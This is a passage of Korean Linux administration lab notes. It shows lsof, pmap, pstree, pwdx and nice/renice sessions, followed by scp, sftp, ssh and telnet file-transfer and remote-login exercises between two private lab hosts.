sshd    8529 root  mem    REG    8,1   32824 7456716 /lib/libwrap.so.0.7.6
sshd    8529 root  mem    REG    8,1  245376 7457985 /lib/libsepol.so.1
sshd    8529 root  mem    REG    8,1   43616 7456539 /lib/libcrypt-2.5.so
sshd    8529 root  mem    REG    8,1   93508 7457986 /lib/libselinux.so.1
sshd    8529 root  mem    REG    8,1  129476 7456528 /lib/ld-2.5.so
sshd    8529 root  mem    REG    8,1 1188804  273689 /usr/lib/libnss3.so
sshd    8529 root  mem    REG    8,1   83048 7456561 /lib/libresolv-2.5.so
sshd    8529 root  mem    REG    8,1    6632  272841 /usr/lib/libfipscheck.so.1.1.0
sshd    8529 root  mem    REG    8,1    7748 7457987 /lib/libcom_err.so.2.1
sshd    8529 root  mem    REG    8,1 1702788 7456535 /lib/libc-2.5.so
sshd    8529 root  mem    REG    8,1  157304  273660 /usr/lib/libk5crypto.so.3.1
sshd    8529 root  mem    REG    8,1   18812 7456541 /lib/libdl-2.5.so
sshd    8529 root  mem    REG    8,1   13492 7456567 /lib/libutil-2.5.so
sshd    8529 root  mem    REG    8,1   33680  273659 /usr/lib/libkrb5support.so.0.1
sshd    8529 root  mem    REG    8,1 1296932 7457988 /lib/libcrypto.so.0.9.8e
sshd    8529 root  mem    REG    8,1   75028   65602 /usr/lib/libz.so.1.2.3
sshd    8529 root  mem    REG    8,1   44532 7457997 /lib/libpam.so.0.81.5
sshd    8529 root    0u   CHR    1,3            1646 /dev/null
sshd    8529 root    1u   CHR    1,3            1646 /dev/null
sshd    8529 root    2u   CHR    1,3            1646 /dev/null
sshd    8529 root    3u  IPv6 164390             TCP *:ssh (LISTEN)


[root@linux220 ~]# lsof | grep '^sshd'
sshd      8529      root  cwd       DIR        8,1     4096          2 /
sshd      8529      root  rtd       DIR        8,1     4096          2 /
sshd      8529      root  txt       REG        8,1   408576    1340939 /usr/sbin/sshd
sshd      8529      root  mem       REG        8,1   190712     273662 /usr/lib/libgssapi_krb5.so.2.2
sshd      8529      root  mem       REG        8,1   610836     273661 /usr/lib/libkrb5.so.3.3
sshd      8529      root  mem       REG        8,1     7880    7457983 /lib/libkeyutils-1.2.so
sshd      8529      root  mem       REG        8,1    98532     273688 /usr/lib/libnssutil3.so
sshd      8529      root  mem       REG        8,1    15556     273685 /usr/lib/libplc4.so
sshd      8529      root  mem       REG        8,1   228028     273683 /usr/lib/libnspr4.so
sshd      8529      root  mem       REG        8,1   135928    7456559 /lib/libpthread-2.5.so
sshd      8529      root  mem       REG        8,1    50848    7456551 /lib/libnss_files-2.5.so
sshd      8529      root  mem       REG        8,1    11460     273684 /usr/lib/libplds4.so
sshd      8529      root  mem       REG        8,1    97220    7456701 /lib/libaudit.so.0.0.0
sshd      8529      root  mem       REG        8,1   107924    7456545 /lib/libnsl-2.5.so
sshd      8529      root  mem       REG        8,1    32824    7456716 /lib/libwrap.so.0.7.6
sshd      8529      root  mem       REG        8,1   245376    7457985 /lib/libsepol.so.1
sshd      8529      root  mem       REG        8,1    43616    7456539 /lib/libcrypt-2.5.so
sshd      8529      root  mem       REG        8,1    93508    7457986 /lib/libselinux.so.1
sshd      8529      root  mem       REG        8,1   129476    7456528 /lib/ld-2.5.so
sshd      8529      root  mem       REG        8,1  1188804     273689 /usr/lib/libnss3.so
sshd      8529      root  mem       REG        8,1    83048    7456561 /lib/libresolv-2.5.so
sshd      8529      root  mem       REG        8,1     6632     272841 /usr/lib/libfipscheck.so.1.1.0
sshd      8529      root  mem       REG        8,1     7748    7457987 /lib/libcom_err.so.2.1
sshd      8529      root  mem       REG        8,1  1702788    7456535 /lib/libc-2.5.so
sshd      8529      root  mem       REG        8,1   157304     273660 /usr/lib/libk5crypto.so.3.1
sshd      8529      root  mem       REG        8,1    18812    7456541 /lib/libdl-2.5.so
sshd      8529      root  mem       REG        8,1    13492    7456567 /lib/libutil-2.5.so
sshd      8529      root  mem       REG        8,1    33680     273659 /usr/lib/libkrb5support.so.0.1
sshd      8529      root  mem       REG        8,1  1296932    7457988 /lib/libcrypto.so.0.9.8e
sshd      8529      root  mem       REG        8,1    75028      65602 /usr/lib/libz.so.1.2.3
sshd      8529      root  mem       REG        8,1    44532    7457997 /lib/libpam.so.0.81.5
sshd      8529      root    0u      CHR        1,3                1646 /dev/null
sshd      8529      root    1u      CHR        1,3                1646 /dev/null
sshd      8529      root    2u      CHR        1,3                1646 /dev/null
sshd      8529      root    3u     IPv6     164390                 TCP *:ssh (LISTEN)




pCMD(ps, pmap, pstree, pwdx, ....)
# pmap PID
# pstree PID
# pwdx PID

(3) pmap 명령어
프로세스가 사용하고 있는 메모리의 주소를 확인 할 수 있다.
응용프로그램이 실행될 때 얼마나 많은 라이브러리가 로드되는가를 확인 할 수 있다.

[명령어 형식]
# pmap PID


[root@linux220 ~]# ps -ef | grep sendmail
root      4864     1  0 16:40 ?        00:00:00 sendmail: accepting connections
smmsp     4878     1  0 16:40 ?        00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      8673  8601  0 18:01 pts/1    00:00:00 grep -i --color sendmail
[root@linux220 ~]# pmap 4864 //프로세스가 사용하고 있는 메모리의 주소를 확인
4864:   sendmail: accepting connections
00110000     36K r-x--  /lib/libcrypt-2.5.so
00119000      4K r-x--  /lib/libcrypt-2.5.so
0011a000      4K rwx--  /lib/libcrypt-2.5.so
0011b000    156K rwx--    [ anon ]
00142000     96K r-x--  /usr/lib/libsasl2.so.2.0.22
0015a000      4K rwx--  /usr/lib/libsasl2.so.2.0.22
0015b000     52K r-x--  /usr/lib/liblber-2.3.so.0.2.31
00168000      4K rwx--  /usr/lib/liblber-2.3.so.0.2.31
00169000      8K r-x--  /lib/libcom_err.so.2.1
0016b000      4K rwx--  /lib/libcom_err.so.2.1
0016c000    148K r-x--  /usr/lib/libk5crypto.so.3.1
00191000      4K rwx--  /usr/lib/libk5crypto.so.3.1
00192000      8K r-x--  /lib/libdl-2.5.so
00194000      4K r-x--  /lib/libdl-2.5.so
00195000      4K rwx--  /lib/libdl-2.5.so
00196000     80K r-x--  /lib/libpthread-2.5.so
001aa000      4K r-x--  /lib/libpthread-2.5.so
001ab000      4K rwx--  /lib/libpthread-2.5.so
001ac000      8K rwx--    [ anon ]
001ae000     88K r-x--  /lib/libselinux.so.1
001c4000      8K rwx--  /lib/libselinux.so.1
001c6000     16K r-x--  /usr/lib/sasl2/libcrammd5.so.2.0.22
001ca000      4K rwx--  /usr/lib/sasl2/libcrammd5.so.2.0.22
001cb000     16K r-x--  /usr/lib/sasl2/libanonymous.so.2.0.22
001cf000      4K rwx--  /usr/lib/sasl2/libanonymous.so.2.0.22
001d0000     16K r-x--  /usr/lib/sasl2/libplain.so.2.0.22
001d4000      4K rwx--  /usr/lib/sasl2/libplain.so.2.0.22
001dd000      4K r-x--    [ anon ]
001de000    980K r-x--  /lib/libdb-4.3.so
002d3000     12K rwx--  /lib/libdb-4.3.so
002d6000    588K r-x--  /usr/lib/libkrb5.so.3.3
00369000     12K rwx--  /usr/lib/libkrb5.so.3.3
0036c000    236K r-x--  /lib/libsepol.so.1
003a7000      4K rwx--  /lib/libsepol.so.1
003a8000     40K rwx--    [ anon ]
003b2000     44K r-x--  /usr/lib/sasl2/libdigestmd5.so.2.0.22
003bd000      4K rwx--  /usr/lib/sasl2/libdigestmd5.so.2.0.22
003f7000    104K r-x--  /lib/ld-2.5.so
00411000      4K r-x--  /lib/ld-2.5.so
00412000      4K rwx--  /lib/ld-2.5.so
00463000    180K r-x--  /usr/lib/libgssapi_krb5.so.2.2
00490000      4K rwx--  /usr/lib/libgssapi_krb5.so.2.2
0053a000    228K r-x--  /usr/lib/libldap-2.3.so.0.2.31
00573000      4K rwx--  /usr/lib/libldap-2.3.so.0.2.31
005b9000     28K r-x--  /lib/libwrap.so.0.7.6
005c0000      4K rwx--  /lib/libwrap.so.0.7.6
005c1000   1276K r-x--  /lib/libc-2.5.so
00700000      4K --x--  /lib/libc-2.5.so
00701000      8K r-x--  /lib/libc-2.5.so
00703000      4K rwx--  /lib/libc-2.5.so
00704000     12K rwx--    [ anon ]
0078c000      8K r-x--  /lib/libkeyutils-1.2.so
0078e000      4K rwx--  /lib/libkeyutils-1.2.so
007ab000    776K r-x--  /usr/sbin/sendmail.sendmail
0086d000     12K rwx--  /usr/sbin/sendmail.sendmail
00870000    472K rwx--    [ anon ]
0098d000     16K r-x--  /usr/lib/sasl2/liblogin.so.2.0.22
00991000      4K rwx--  /usr/lib/sasl2/liblogin.so.2.0.22
00a09000     12K r-x--  /usr/lib/libhesiod.so.0.0.0
00a0c000      4K rwx--  /usr/lib/libhesiod.so.0.0.0
00a0d000    876K r-x--  /usr/lib/sasl2/libsasldb.so.2.0.22
00ae8000      8K rwx--  /usr/lib/sasl2/libsasldb.so.2.0.22
00b02000     36K r-x--  /lib/libnss_files-2.5.so
00b0b000      4K r-x--  /lib/libnss_files-2.5.so
00b0c000      4K rwx--  /lib/libnss_files-2.5.so
00ca1000    272K r-x--  /lib/libssl.so.0.9.8e
00ce5000     16K rwx--  /lib/libssl.so.0.9.8e
00d92000     76K r-x--  /lib/libnsl-2.5.so
00da5000      4K r-x--  /lib/libnsl-2.5.so
00da6000      4K rwx--  /lib/libnsl-2.5.so
00da7000      8K rwx--    [ anon ]
00e10000     32K r-x--  /usr/lib/libkrb5support.so.0.1
00e18000      4K rwx--  /usr/lib/libkrb5support.so.0.1
00e21000     60K r-x--  /lib/libresolv-2.5.so
00e30000      4K r-x--  /lib/libresolv-2.5.so
00e31000      4K rwx--  /lib/libresolv-2.5.so
00e32000      8K rwx--    [ anon ]
00e90000     72K r-x--  /usr/lib/libz.so.1.2.3
00ea2000      4K rwx--  /usr/lib/libz.so.1.2.3
00ebe000   1192K r-x--  /lib/libcrypto.so.0.9.8e
00fe8000     76K rwx--  /lib/libcrypto.so.0.9.8e
00ffb000     16K rwx--    [ anon ]
08d7d000    404K rw---    [ anon ]
b7f77000     28K rw---    [ anon ]
bfa35000    208K rw---    [ stack ]
 total     9304K



(4) pstree 프로세스 상관도
실행중인 프로세스 상태를 트리 구조로 보여주는 명령어.
프로세스의 부모 자식관계를 형태로 보여주는 명령어

[명령어 형식]
# pstree (# pstree –l)
# pstree PID
# pstree user01

(선수작업) 필요하면 명령어 수행
# ps
# sleep 500 &
# sleep 600 &
# sleep 700 &
# ps

[root@linux220 ~]# ps
  PID TTY          TIME CMD
 8601 pts/1    00:00:00 bash
 8678 pts/1    00:00:00 ps
[root@linux220 ~]# sleep 500 &
[1] 8679
[root@linux220 ~]# sleep 600 &
[2] 8680
[root@linux220 ~]# sleep 700 &
[3] 8681
[root@linux220 ~]# ps
  PID TTY          TIME CMD
 8601 pts/1    00:00:00 bash
 8679 pts/1    00:00:00 sleep
 8680 pts/1    00:00:00 sleep
 8681 pts/1    00:00:00 sleep
 8682 pts/1    00:00:00 ps


[root@linux220 ~]# pstree | more

그림11


[root@linux220 ~]# ps
  PID TTY          TIME CMD
 8601 pts/1    00:00:00 bash
 8679 pts/1    00:00:00 sleep
 8680 pts/1    00:00:00 sleep
 8681 pts/1    00:00:00 sleep
 8693 pts/1    00:00:00 ps
[root@linux220 ~]# pstree 8601
bash─┬─pstree
     └─3*[sleep]


[root@linux220 ~]# bash
|---> ~/.bashrc read
|---> /etc/bashrc read
|---> /etc/profile.d/*.sh read
[root@linux220 ~]# bash
|---> ~/.bashrc read
|---> /etc/bashrc read
|---> /etc/profile.d/*.sh read
[root@linux220 ~]# ps
  PID TTY          TIME CMD
 8601 pts/1    00:00:00 bash
 8679 pts/1    00:00:00 sleep
 8680 pts/1    00:00:00 sleep
 8681 pts/1    00:00:00 sleep
 8696 pts/1    00:00:00 bash
 8708 pts/1    00:00:00 bash
 8720 pts/1    00:00:00 ps
[root@linux220 ~]# pstree 8601
bash─┬─bash───bash───pstree
     └─3*[sleep]


[root@linux220 ~]# exit
exit
[root@linux220 ~]# exit
exit
[root@linux220 ~]# jobs
[1]   Running                 sleep 500 &
[2]-  Running                 sleep 600 &
[3]+  Running                 sleep 700 &
[root@linux220 ~]# kill %1
[1]   종료됨               sleep 500
[root@linux220 ~]# kill %2
[2]-  종료됨               sleep 600
[root@linux220 ~]# kill %3
[3]+  종료됨               sleep 700


[root@linux220 ~]# pstree 8601
bash───pstree




(5) pwdx CMD
대상 프로세스의 현재 작업 디렉토리를 얻을 수 있다.

[root@linux220 ~]# ps
  PID TTY          TIME CMD
 8601 pts/1    00:00:00 bash
 8730 pts/1    00:00:00 ps
[root@linux220 ~]# pwdx 8601
8601: /root


[root@linux220 ~]# cd /etc/sysconfig
[root@linux220 /etc/sysconfig]# ps
  PID TTY          TIME CMD
 8601 pts/1    00:00:00 bash
 8734 pts/1    00:00:00 ps
[root@linux220 /etc/sysconfig]# pwdx 8601
8601: /etc/sysconfig



(6) nice / renice 명령어
프로세스를 실행하는데 있어서 프로세스에게 우선권을 부여 할 수 있다.
일반적으로 프로세스들은 설정된 우선권 순위대로 실행이 되는데
nice명령을 사용하게 되면 프로세스의 실행 우선권을 바꿀 수 있다.
우선권 순위는 -20에서 19까지의 범위를 가지며 nice 값이 적을수록 우선순위 값이 높아지게 된다.

프로세스의 우선순위: 프로세스가 운영체제의 CPU를 선점할 수 있는 권한

(프로세스의 우선순위를 조정하는 명령어)
■ nice 명령어 : 프로그램을 실행할 때 프로세스의 우선순위를 설정할 수 있는 명령어
■ renice 명령어 : 실행중인 프로그램의 우선순위를 조정할 수 있는 명령어

[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  75   0 -  1461 wait   pts/1    00:00:00 bash
4 R     0  4714  4636  0  77   0 -  1379 -      pts/1    00:00:00 ps

PRI(Priority) 우선순위 숫자가 낮으면 우선순위가 높다
NI PRI에 대한 보정값 정도인거 같다?

PRI : Process가 OS의 Process 스케쥴러에서 갖는 우선 순위를 말합니다. 우선순위가 높으면 우선 순위가 낮은것 보다 우선 적으로 실행 됩니다.
NI : Process의 nice value입니다.  음수인 경우 높은 우선순위를 갖습니다.

(명령어 형식)

# CMD (EX: # backup.sh)
# nice -(-20 ~ 19) CMD (EX: # nice -10 backup.sh (NI: 10))
# nice -n (-20 ~ 19) CMD (EX: # nice --10 backup.sh (NI: -10))

# renice (-20 ~ 20) PID (EX: # renice 10 PID (NI: 10))
# renice -n (-20 ~ 20) PID (EX: # renice -10 PID (NI: -10))



[EX] nice 명령어 실습

[root@linux220 ~]# sleep 500 &
[1] 4723
[root@linux220 ~]# sleep 600 &
[2] 4724
[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  76   0 -  1461 wait   pts/1    00:00:00 bash
0 S     0  4723  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4724  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
4 R     0  4726  4636  0  78   0 -  1379 -      pts/1    00:00:00 ps
[root@linux220 ~]# nice -n 15 sleep 700 &
[3] 4728
[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  75   0 -  1461 wait   pts/1    00:00:00 bash
0 S     0  4723  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4724  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4728  4636  0  95  15 -  1253 -      pts/1    00:00:00 sleep
4 R     0  4729  4636  0  77   0 -  1379 -      pts/1    00:00:00 ps
[root@linux220 ~]# nice -n -15 sleep 800 &
[4] 4731
[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  75   0 -  1461 wait   pts/1    00:00:00 bash
0 S     0  4723  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4724  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4728  4636  0  95  15 -  1253 -      pts/1    00:00:00 sleep
4 S     0  4731  4636  0  62 -15 -  1253 -      pts/1    00:00:00 sleep
4 R     0  4732  4636  0  77   0 -  1379 -      pts/1    00:00:00 ps
[root@linux220 ~]# renice -5 4728
4728: old priority 15, new priority -5
[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  75   0 -  1461 wait   pts/1    00:00:00 bash
0 S     0  4723  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4724  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4728  4636  0  75  -5 -  1253 -      pts/1    00:00:00 sleep
4 S     0  4731  4636  0  62 -15 -  1253 -      pts/1    00:00:00 sleep
4 R     0  4738  4636  0  77   0 -  1379 -      pts/1    00:00:00 ps


[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  75   0 -  1461 wait   pts/1    00:00:00 bash
0 S     0  4723  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4724  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4728  4636  0  75  -5 -  1253 -      pts/1    00:00:00 sleep
4 S     0  4731  4636  0  62 -15 -  1253 -      pts/1    00:00:00 sleep
4 R     0  4741  4636  0  77   0 -  1379 -      pts/1    00:00:00 ps
[root@linux220 ~]# renice 5 4731
4731: old priority -15, new priority 5
[root@linux220 ~]# ps -l
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S     0  4636  4630  0  76   0 -  1461 wait   pts/1    00:00:00 bash
0 S     0  4723  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4724  4636  0  77   0 -  1253 -      pts/1    00:00:00 sleep
0 S     0  4728  4636  0  75  -5 -  1253 -      pts/1    00:00:00 sleep
4 S     0  4731  4636  0  82   5 -  1253 -      pts/1    00:00:00 sleep
4 R     0  4744  4636  0  78   0 -  1379 -      pts/1    00:00:00 ps


(실무 예) nice, renice 사용 예

(백업스크립트/데이트 수집 스크립트)
(X) # /root/bin/backup.sh &
(0) # nice -n 10 /root/bin/backup.sh &

(부하량을 주는 프로그램)
# top
# renice 10 PID (PID : 부하량을 주는 프로그램's PID)
웹서비스용이면 웹데몬이 CPU를 많이 잡는다고 우선순위를 낮추면 안된다
DB용이면 DB데몬이 CPU를 많이 잡는다고 우선순위를 낮추면 안된다
주의하도록






원격접속과 파일전송
Remote Connection & File Transfer

파일전송
 scp CMD
 sftp CMD
원격접속
 ssh CMD

secure 암호화해서


sCMD 명령어 //s로 시작해서 sCMD, 아래 설명에서 뒤쪽은 평문으로 전송하는 방식
■ ssh Secure Shell(원격 접속) : telnet, rlogin
■ scp Secure Copy (파일 전송) : rcp
■ sftp Secure FTP (파일 전송) : ftp

[참고] (TUI)tcpdump, (GUI)ethereal, wireshark

(명령어 형식)
# scp file1 172.16.9.254:/tmp/file2
# scp file1 172.16.9.254:/test
# scp 172.16.9.254:/test/file1 /test
# scp -r dir1 172.16.9.254:/tmp  //디렉토리를 카피하기 때문에 -r(recursive)

[참고] scp 명령어는 cp 명령어 형식과 비슷하다.
# cp file1 file2
# cp file1 dir1
# cp -r dir1 dir2




[EX] scp 명령어 실습

(실습 전 준비)
# service sshd restart
# pgrep -lf sshd

(on linux220)

[root@linux220 /test]# cp /etc/passwd linux220.txt
[root@linux220 /test]# cd ~/.ssh
[root@linux220 ~/.ssh]# ls
known_hosts
[root@linux220 ~/.ssh]# > known_hosts
[root@linux220 ~/.ssh]# scp /test/linux220.txt root@172.16.9.252:/tmp
The authenticity of host '172.16.9.252 (172.16.9.252)' can't be established.
RSA key fingerprint is e2:f0:f8:a2:47:3b:b4:7c:ae:65:38:0e:31:bf:1f:84.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.9.252' (RSA) to the list of known hosts.
root@172.16.9.252's password:
linux220.txt                                                                 100% 1904     1.9KB/s   00:00   


암호/복호화

     +---------------+              +---------------+
A -> |암호화 알고리즘| -> 암호문 -> |복호화 알고리즘| -> A
     |     +3 /2     |              |     *2 -3     |
     +---------------+              +---------------+
           +key B                         +key C

key B = key C : 대칭키. 암호화키와 복호화키가 동일


[root@linux220 ~/.ssh]# cp /etc/services /test/CentOS220
[root@linux220 ~/.ssh]# scp -P 22 /test/CentOS220 root@172.16.9.252:/tmp //-P : Port Number
root@172.16.9.252's password:
CentOS220                                                                    100%  354KB 353.6KB/s   00:00   

[root@linux220 ~/.ssh]# ssh 172.16.9.252 ls /tmp/*220*
root@172.16.9.252's password:
/tmp/CentOS220
/tmp/linux220.txt


(on linux252)
# su - fedora
$ cp /etc/passwd testfile1


(on linu220)
[root@linux220 ~/.ssh]# ssh fedora@172.16.9.252 ls
fedora@172.16.9.252's password:
file1
file2
file3
linux200
linux201
linux202
linux204
linux205
linux206
linux211
linux212
linux220
linux223
linux228.txt
linuxfile200
linuxfile201
linuxfile202
linuxfile204
linuxfile205
linuxfile206
linuxfile211
linuxfile212
linuxfile220
linuxfile223
testfile1
[root@linux220 ~/.ssh]# scp fedora@172.16.9.252:/home/fedora/testfile1 /test
fedora@172.16.9.252's password:
testfile1                                                                    100% 2461     2.4KB/s   00:00   
[root@linux220 ~/.ssh]# ls /test
CentOS220  file1  file2  file3  linux220.txt  testfile1


(on linu220)
[root@linux220 ~/.ssh]# scp -r 172.16.9.252:/test /tmp
root@172.16.9.252's password:
kbd_mode                                                                     100% 7836     7.7KB/s   00:00   
loadkeys.static                                                              100%  598KB 598.2KB/s   00:00   
kill                                                                         100%   11KB  11.0KB/s   00:00   
uname                                                                        100%   20KB  19.6KB/s   00:00   
chmod                                                                        100%   38KB  37.9KB/s   00:00   
su                                                                           100%   24KB  23.7KB/s   00:00   
nisdomainname                                                                100%   12KB  11.9KB/s   00:00   
file4                                                                        100%  354KB 353.6KB/s   00:01   
mkdir                                                                        100%   29KB  29.3KB/s   00:00   
grep                                                                         100%   83KB  83.1KB/s   00:00   
alsacard                                                                     100% 6376     6.2KB/s   00:00   
file3                                                                        100%  354KB 353.6KB/s   00:00   
pwd                                                                          100%   23KB  23.1KB/s   00:00   
alsaunmute                                                                   100%   18KB  18.3KB/s   00:00   
csh                                                                          100%  339KB 338.6KB/s   00:00   
stty                                                                         100%   46KB  45.9KB/s   00:00   
rm                                                                           100%   45KB  45.4KB/s   00:00   
file1                                                                        100%  354KB 353.6KB/s   00:00   
gzip                                                                         100%   62KB  61.8KB/s   00:00   
domainname                                                                   100%   12KB  11.9KB/s   00:00   
unicode_stop                                                                 100%   79     0.1KB/s   00:00   
more                                                                         100%   31KB  31.4KB/s   00:00   
unicode_start                                                                100% 1271     1.2KB/s   00:00   
netstat                                                                      100%  118KB 118.5KB/s   00:00   
touch                                                                        100%   41KB  41.3KB/s   00:00   
dumpkeys                                                                     100%   57KB  57.4KB/s   00:00   
logger                                                                       100%   10KB  10.3KB/s   00:00   
ls                                                                           100%   93KB  92.9KB/s   00:00   
awk                                                                          100%  313KB 313.3KB/s   00:01   
dbus-cleanup-sockets                                                         100% 9624     9.4KB/s   00:00   
rvi                                                                          100%  581KB 580.8KB/s   00:00   
rmdir                                                                        100%   19KB  18.5KB/s   00:00   
date                                                                         100%   53KB  53.4KB/s   00:00   
mktemp                                                                       100% 9228     9.0KB/s   00:00   
tcsh                                                                         100%  339KB 338.6KB/s   00:00   
login                                                                        100%   25KB  25.2KB/s   00:00   
raw                                                                          100% 8108     7.9KB/s   00:00   
false                                                                        100%   17KB  16.7KB/s   00:00   
loadkeys                                                                     100%   78KB  77.6KB/s   00:00   
testfile1                                                                    100% 2461     2.4KB/s   00:00   
setserial                                                                    100%   20KB  20.2KB/s   00:00   
gawk                                                                         100%  313KB 313.3KB/s   00:00   
echo                                                                         100%   19KB  19.4KB/s   00:00   
dbus-monitor                                                                 100%   13KB  12.8KB/s   00:00   
traceroute6                                                                  100%   36KB  36.4KB/s   00:00   
gunzip                                                                       100%   62KB  61.8KB/s   00:00   
rview                                                                        100%  581KB 580.8KB/s   00:00   
ping                                                                         100%   35KB  35.0KB/s   00:00   
tracert                                                                      100%   36KB  36.4KB/s   00:00   
cp                                                                           100%   70KB  69.9KB/s   00:00   
file5                                                                        100%  354KB 353.6KB/s   00:00   
cpio                                                                         100%  105KB 105.4KB/s   00:00   
env                                                                          100%   18KB  18.0KB/s   00:00   
dbus-daemon                                                                  100%  318KB 318.4KB/s   00:00   
sleep                                                                        100%   19KB  19.2KB/s   00:00   
dnsdomainname                                                                100%   12KB  11.9KB/s   00:00   
mountpoint                                                                   100% 7196     7.0KB/s   00:00   
arch                                                                         100% 5088     5.0KB/s   00:00   
mailx                                                                        100%   81KB  81.1KB/s   00:00   
cat                                                                          100%   23KB  22.7KB/s   00:00   
tracepath                                                                    100% 9988     9.8KB/s   00:00   
dmesg                                                                        100% 6772     6.6KB/s   00:00   
dd                                                                           100%   47KB  46.5KB/s   00:00   
gtar                                                                         100%  224KB 224.3KB/s   00:00   
sort                                                                         100%   56KB  56.0KB/s   00:00   
ex                                                                           100%  581KB 580.8KB/s   00:00   
ksh                                                                          100% 1253KB   1.2MB/s   00:00   
sed                                                                          100%   51KB  50.6KB/s   00:00   
echo.start                                                                   100%    5     0.0KB/s   00:00   
view                                                                         100%  581KB 580.8KB/s   00:00   
usleep                                                                       100%   26KB  26.2KB/s   00:00   
ipcalc                                                                       100%   32KB  32.3KB/s   00:00   
tracepath6                                                                   100% 9996     9.8KB/s   00:00   
link                                                                         100%   18KB  17.9KB/s   00:00   
df                                                                           100%   44KB  43.7KB/s   00:00   
taskset                                                                      100%   10KB  10.1KB/s   00:00   
igawk                                                                        100% 3089     3.0KB/s   00:00   
doexec                                                                       100% 4796     4.7KB/s   00:00   
chown                                                                        100%   43KB  43.3KB/s   00:00   
tcptraceroute                                                                100%   36KB  36.4KB/s   00:00   
mount                                                                        100%   58KB  58.1KB/s   00:00   
zcat                                                                         100%   62KB  61.8KB/s   00:00   
ed                                                                           100%   43KB  42.7KB/s   00:00   
ping6                                                                        100%   31KB  30.5KB/s   00:00   
cut                                                                          100%   34KB  33.7KB/s   00:00   
hostname                                                                     100%   12KB  11.9KB/s   00:00   
ln                                                                           100%   29KB  29.4KB/s   00:00   
mail                                                                         100%   81KB  81.1KB/s   00:00   
chgrp                                                                        100%   41KB  41.1KB/s   00:00   
ps                                                                           100%   77KB  77.3KB/s   00:00   
ksh93                                                                        100% 1253KB   1.2MB/s   00:00   
sync                                                                         100%   17KB  17.2KB/s   00:01   
.mem2.c.swp                                                                  100%   12KB  12.0KB/s   00:00   
rpm                                                                          100%   88KB  87.6KB/s   00:00   
dbus-uuidgen                                                                 100% 7184     7.0KB/s   00:00   
egrep                                                                        100%   83KB  83.1KB/s   00:00   
unlink                                                                       100%   18KB  17.7KB/s   00:00   
sh                                                                           100%  719KB 719.1KB/s   00:00   
umount                                                                       100%   40KB  39.7KB/s   00:00   
setfont                                                                      100%   35KB  35.4KB/s   00:00   
pgawk                                                                        100%  314KB 314.1KB/s   00:00   
mv                                                                           100%   80KB  80.3KB/s   00:00   
red                                                                          100%   43KB  42.7KB/s   00:00   
dbus-send                                                                    100%   16KB  16.4KB/s   00:00   
ypdomainname                                                                 100%   12KB  11.9KB/s   00:00   
tar                                                                          100%  224KB 224.3KB/s   00:00   
gettext                                                                      100%   26KB  26.3KB/s   00:00   
file2                                                                        100%  354KB 353.6KB/s   00:00   
traceroute                                                                   100%   36KB  36.4KB/s   00:00   
vi                                                                           100%  581KB 580.8KB/s   00:00   
true                                                                         100%   17KB  16.7KB/s   00:00   
nice                                                                         100%   20KB  20.5KB/s   00:00   
keyctl                                                                       100%   23KB  23.3KB/s   00:00   
bash                                                                         100%  719KB 719.1KB/s   00:00   
fgrep                                                                        100%   83KB  83.1KB/s   00:00   
basename                                                                     100%   18KB  18.2KB/s   00:00   
redhat_lsb_init                                                              100%  576     0.6KB/s   00:00   
mknod                                                                        100%   25KB  24.5KB/s   00:00   



[EX1] sftp 명령어 실습

(on linux252)
$ pwd

$ cp /etc/services file1
$ cp file1 file2
$ cp file1 file3


(on linux220)
# cd /test
# rm -rf /test/*

# sftp fedora@172.16.9.252:/home/fedora/*

# pwd

# ls

# rm -rf /test/*
# cp /etc/passwd linux2XX
# cp /etc/services linuxfile2XX

# sftp fedora@172.16.9.252

# ls /root
-> linux* 파일 존재





원격접속 명령어(ssh 명령어)

(ssh 명령어 형식)

# ssh 172.16.9.252
# ssh root@172.16.9.252
# ssh fedora@172.16.9.252

# ssh 172.16.9.252 CMD
# ssh 172.16.9.252 hostname
# ssh 172.16.9.252 ls /tmp
# ssh 172.16.9.252 ls /test



[EX1] telnet/ssh 명령어 실습

[root@linux220 ~]# telnet 172.16.9.252
Trying 172.16.9.252...
Connected to 172.16.9.252 (172.16.9.252).
Escape character is '^]'.

    linux252.example.com (Linux release 2.6.18-409.el5.centos.plusPAE #1 SMP Tue Mar 15 18:56:56 EDT 2016) (12)

login: root
Password:
Last login: Wed Apr 20 20:54:31 from 172.16.6.204
You have mail.
[linux252@~]#  hostname
linux252.example.com
[linux252@~]#  id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[linux252@~]#  exit
logout
Connection closed by foreign host.
[root@linux220 ~]# cd ~/.ssh
[root@linux220 ~/.ssh]# ls
known_hosts
[root@linux220 ~/.ssh]# cat known_hosts
